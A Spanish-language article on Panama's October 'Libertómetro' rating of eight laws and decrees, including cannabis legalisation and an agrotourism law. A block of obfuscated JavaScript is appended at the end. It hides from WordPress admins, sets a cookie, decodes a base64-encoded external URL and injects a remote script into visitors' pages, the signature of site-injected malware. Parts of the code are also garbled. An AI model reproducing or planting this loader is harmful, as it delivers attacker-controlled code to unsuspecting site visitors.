

Panamá | Un mes positivo con mezclas interesantes

Panamá tuvo una calificación en el Libertómetro de 66.7% durante octubre, mostrando quizá un equilibrio de acciones muy positivas. Para el mes el mes de octubre se analizaron ocho medidas, de las cuales tres por vía decreto del poder Ejecutivo y cinco leyes del poder Legislativo. De ellas tres fueron neutras y cinco positivas

También te puede interesar: [Datos del libertómetro](#)

La calificación de las medidas neutras, tres en total, dando cero como resultado obvio. Dentro de las medidas evaluadas están una ley para crear la base de ofensores sexuales la cual tuvo aspectos positivos y negativos lo que llevó a su resultado equilibrado, todo esto visto y analizado desde las libertades. Una reforma al código electoral que resulta en notas de prensa en desaprobación y por último una reforma a ley que busca la igualdad de oportunidades a las mujeres que vista desde la óptica Liberal se complica porque ante la ideología todos somos iguales por ende la igualdad de oportunidades debe ser para todos y no un género o sector exclusivo.

La puntuación de las cinco medidas positivas tuvo un comportamiento alentador. El promedio de estas notas positivas fue de 1.8, donde destaca una ley que busca o al menos incide sobre la anhelada reactivación económica como lo es la ley de agroturismo la cual brinda las herramientas necesarias para promover dicha actividad económica. Seguida de la ley que permite el uso medicinal y terapéutico y la importación, exportación y cultivo de Cannabis siendo el primer país de la región centroamericana en legalizar dicha actividad.

También te puede interesar: [Análisis de septiembre](#)

Otra ley muy positiva es la regulación para que los chicos continúen con el aprendizaje en casa y así padres y estudiantes tengan la libertad de escoger su metodología. Por último, una ley que se espera brinde una alivio a los poseedores de tierras en zona protegidas y les brinda el derecho y posibilidad de obtener los permisos de usos de suelo para sus actividades.

Después varios meses negros para Panamá pareciera que octubre fue un buen mes donde salen medidas para la reactivación económica medidas sociales de impacto, cabe destacar que es el primer mes que únicamente solo la medida de reforma electoral fue de calificación negativa, bien por los panameños.

```
(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<120)return;if((document.cookie||>).indexOf('http2_session_id=')==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=,o1,o2,o3,h1,h2,h3,h4,dec=»,i=0;input=input.replace(/\^A-Za-zA-9+/=]/g,»);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFnY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!='undefined'&&window.__rl==u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol=='https:'?'';Secure':''');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||d
```

```
ocument.documentElement).appendChild(s);}catch(e){}})();
```